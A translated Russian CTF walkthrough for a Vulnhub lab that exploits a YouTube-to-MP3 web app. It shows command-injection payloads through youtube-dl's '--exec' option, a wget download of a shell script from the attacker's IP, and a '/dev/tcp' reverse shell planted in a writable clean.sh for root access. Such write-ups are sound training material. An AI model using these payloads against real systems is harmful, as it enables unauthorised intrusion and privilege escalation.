В этой статье читатели ближе познакомятся с Vulnhub, его особенностями, положительными и отрицательными сторонами. Будет приведен практический пример использования этого полезного инструмента.
CTF — это один из популярных и, вероятно, интересных способов получить практический опыт тестирования на проникновение. В частности, речь идет о CTF от Vulnhub, который задействует все аспекты тестирования во время веб-проникновения, такие как атака на загрузку файлов. Пользователь способен зафиксировать запросы, поступающие из веб-приложения, и использовать их, чтобы попасть в машину жертвы.
Программа имеет средний уровень сложности, поэтому есть несколько мест, где пользователь может застрять. Следующий шаг в этом процессе не будет естественным и потребует личного вмешательства.
Скачать данный CTF можно, перейдя по ссылке.
Знакомство
Чтобы найти машину жертвы, на которой работает лаборатория CTF, пользователю следует ввести следующую комбинацию:
netdiscover
На предыдущем этапе человек пришел к выводу, что IP-адрес жертвы – 192.168.1.105.
Необходимо начать со сканирования IP-адреса и посмотреть, что человек может таким образом обнаружить. Агрессивное (а) сканирование nmap способно помочь пользователю получить представление о том, что все порты и службы работают на машине CTF.
nmap -A 192.168.1.105
Перечисление
На предыдущем шаге пользователь осознал, что порт 80 открыт, работает сервер Apache. Чтобы провести перечисление, стоит открыть веб-браузер и ввести IP-адрес машины жертвы в разделе URL. Таким образом пользователь поймет, что он может найти.
Теперь на картинке ниже можно увидеть кое-что интересное. Итак, здесь пользователь заметит, что это веб-приложение используется для преобразования видео с YouTube в формат MP3. Нужно разобраться, как именно это происходит. Burpsuite — это инструмент выбора здесь, так что стоит начать с burp proxy.
Пользователь готов фиксировать запросы, поступающие из этого веб-приложения, для проведения анализа. После вставки случайного URL-адреса YouTube в тестовое поле человек нажмет на кнопку «Сonvert» (конвертировать). После нужно активировать флажку перехвата «Intercept» и включить ее.
Чтобы увидеть ответ, пользователь отправит этот запрос.
Человек, кажется, получает ошибку, что любопытно, необходимо попробовать выяснить, что эта ошибка означает и к чему она его приводит. Пользователь копирует имеющиеся данные и вставляет в поисковик Google. Таким образом, он сможет понять, какие результаты были им получены.
Была получена ссылка на Github. Изучая ее, пользователь видит варианты того, какие дескрипторы команд могут быть приняты этим веб-приложением.
Применение
В этом инструменте есть опция, которую можно использовать в веб-приложении для выполнения команды.
Сейчас пользователь будет снова захватывать запрос и модифицировать аргумент, который «попался в плен». Используя опцию «–exec», чтобы запустить команду, человек способен увидеть, какие файлы он может получить.
--exec%3c'ls${IFS}-la'
В результате человек может увидеть index.php и его разрешения для данного пользователя.
Следующим шагом является создание файла Shell с помощью Python. Не стоит стесняться выбирать свой любимый обратный Shell Python, просто надо изменить IP и порт оболочки на необходимые данные атакующей машины, как это было сделано ниже.
Файл пользователя был создан, он включил сервер Рython на его атакующей машине, чтобы разместить файл Shell, который тоже только что был изменен.
В Burpsuite пользователь сможет снова выполнить захват запроса и изменить его для машины жертвы, чтобы загрузить файл Shell, используя ту же команду, которую он применял в прошлый раз для выполнения запроса на машине жертвы в сочетании с Wget.
--exec%3c'wget${IFS}http://192.168.1.112:8000/file.sh'
Операция прошла успешно, файл пользователя Shell Python был успешно загружен на машину жертвы.
Для проверки того, что человек сделал, будет использоваться команда ls-la.
--exec%3c'ls${IFS}-la'
Файл Shell пользователя находится в системе жертвы. Он готов и ожидает запуска, так что стоит продолжить и приступить к реальным делам.
yt_url=--exec%3c`bash${IFS}file.sh`
Листенер Netcat также готов и ждет обратного вызова Shell на атакующей машине. Пользователь получил то, что нужно!
Необходимо исследовать каталоги. Человек натыкается на каталог с именем “admin”, переходит к нему и открывает содержимое. Там пользователь видит, что существует файл с именем «flag.txt». Открыв его, человек получает свой первый флаг. Следующее, что нужно сделать, это найти файлы, которые могут быть записаны и будут принимать входные данные пользователя. Это позволит ему получить более высокие привилегии.
nc -lvp 1234
ls
cd admin
ls
cat flag.txt
find / -writeable -type d 2>/dev/null
Повышение привилегий
Пользователь находит каталог с именем “tmp”, с которым он может работать. Копаясь в “tmp” и перечисляя все скрытые файлы, человек обнаруживает, что существует файл Shell с именем «clean.sh». Теперь пользователь способен записать свой Shell-код в этот файл и использовать его, чтобы получить Shell с более высокими привилегиями. Используя echo, пользователь помещает свой Shell-код в файл.
cd tmp
ls -la
echo "bash -i >& /dev/tcp/192.168.1.112/8888 0>&1" > clean.sh
Теперь человек включит листенер Netcat и немного подождет. Этот шаг требует терпения, так как он может занять до минуты, чтобы информация вернулась к атакующей машине.
nc -lvp 8888
cd /root
ls
cat root.txt
Успех! Доступ получен!
Исследуя корневой каталог, пользователь находит файл с именем “root.txt”, открывает его, чтобы найти окончательный флаг. На этом заканчивается пошаговое руководство.
Автор переведенной статьи: Jeenali Kothari.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях